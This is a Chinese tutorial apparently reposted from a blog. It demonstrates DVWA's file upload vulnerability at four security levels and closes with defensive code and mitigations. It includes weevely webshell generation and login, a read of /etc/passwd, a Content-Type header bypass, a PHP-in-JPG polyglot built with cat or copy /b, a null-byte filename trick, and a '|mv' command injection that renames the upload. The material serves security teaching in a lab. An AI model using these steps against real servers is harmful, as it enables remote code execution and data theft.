为了账号安全,请及时绑定邮箱和手机立即绑定

DVWA 黑客攻防实战(五)文件上传漏洞 File Upload

标签:
PHP

说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。

把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。

低级

用户界面是这样的,是一个简单的上传文件功能。

https://img1.sycdn.imooc.com//5c24dc730001ff1003440162.jpg

然而 Hacker 就上传一个 phpinfo.php 文件

<?phpinfo();?>

。。。结果如下
https://img1.sycdn.imooc.com//5c24dc8b0001718e05140202.jpg

然后打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。

5c24dc4600015a0809260461.jpg

Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。

weevely generate 123456 /root/webshell.phpGenerated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.

上传完文件后,登录

weevely http://192.168.31.166:5678/hackable/uploads/webshell.php 123456weevely> ls
dvwa_email.pngwebshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

就变成你的地盘我做主了。 再来看看低级代码。

<?php
    if( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }    else {        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}    
?>

为何会变成这样的呢?觉得主要是没有限制文件扩展名吧。

中级

而中级代码,多了文件类型和文件大小的限制

<?phpif( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }        else {            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }    else {        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}?>

这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧。 然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求

https://img1.sycdn.imooc.com//5c24dcaf0001d9a208140583.jpg

结果如下
https://img1.sycdn.imooc.com//5c24dcba0001213a10240335.jpg

打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。

高级

中级的代码有漏洞的原因是用 content-type 去判断文件类型了,如果用扩展名去判断还有问题吗?高级代码就是这样想的,代码如下

<?phpif( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }        else {            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }    else {        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}?>

我尝试过将 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因为调用了 getimagesize 这个函数,如果不是图片文件就会返回 false。 但是如果这图片既是图片又是代码呢? 有人能想到了吗? 11年左右百度贴吧风靡一时图种

比如这是大家老婆的图片

https://img1.sycdn.imooc.com//5c24dce40001a28504700377.jpg

保存下来,将扩展名改成 zip ,再解压(用命令行 unzip)。。。就有福利。

为什么可以这样 因为比如文件有特定的 jpg 标识,如果用看图程序打开,只会去看有图片标识的那部分,如果用 zip 压缩文件打开,也只会看有 zip 标识的那部分,其他部分会忽略的。 所以它既是图片也是种子。因此。我们可以制作类似图种的东西去注入 webshell。

  • windows copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg

  • linux/unix cat webshell.php >> gakki.jpg

所以我们可以制作一个 “图php"

cat phpinfo.php >> gakki.jpg

只是上传后,重命名是个问题。

php 5.4 之下还容易解决,因为那个版本就有个漏洞上传gakki.php%00.jpg这种文件会当成gakki.php来执行的,因为 c语言等语言是用 \0 判断字符符结束的,所以该会被服务器当成 gakki.php 执行。

在 File Upload 页面没法重名了。。。找不到其他方法。唯有借助同一级别下的漏洞比如是命令行注入漏洞

https://img1.sycdn.imooc.com//5c24dd000001c73f05370144.jpg

然后输入在 |mv ../../gakki.jpg ../../gakki.php ,再访问文件,结果如下

https://img1.sycdn.imooc.com//5c24dd0900010caf10240611.jpg

不可能

不可能级别的代码有添加了这些

  • 使用 imagecreatefromjpegimagecreatefrompng 去掉了不属于图片的部分

  • 为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。

  • 用 anti-token 解决一些 CSRF 问题

代码如下:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }        else {            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }    else {        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}// Generate Anti-CSRF tokengenerateSessionToken();?>

也有其他手段防御文件上传漏洞(《白帽子讲web安全》):

  • 设置文件目录不可以执行

  • 给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截

原文出处:https://www.cnblogs.com/jojo-feed/p/10173026.html  

点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 评论
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消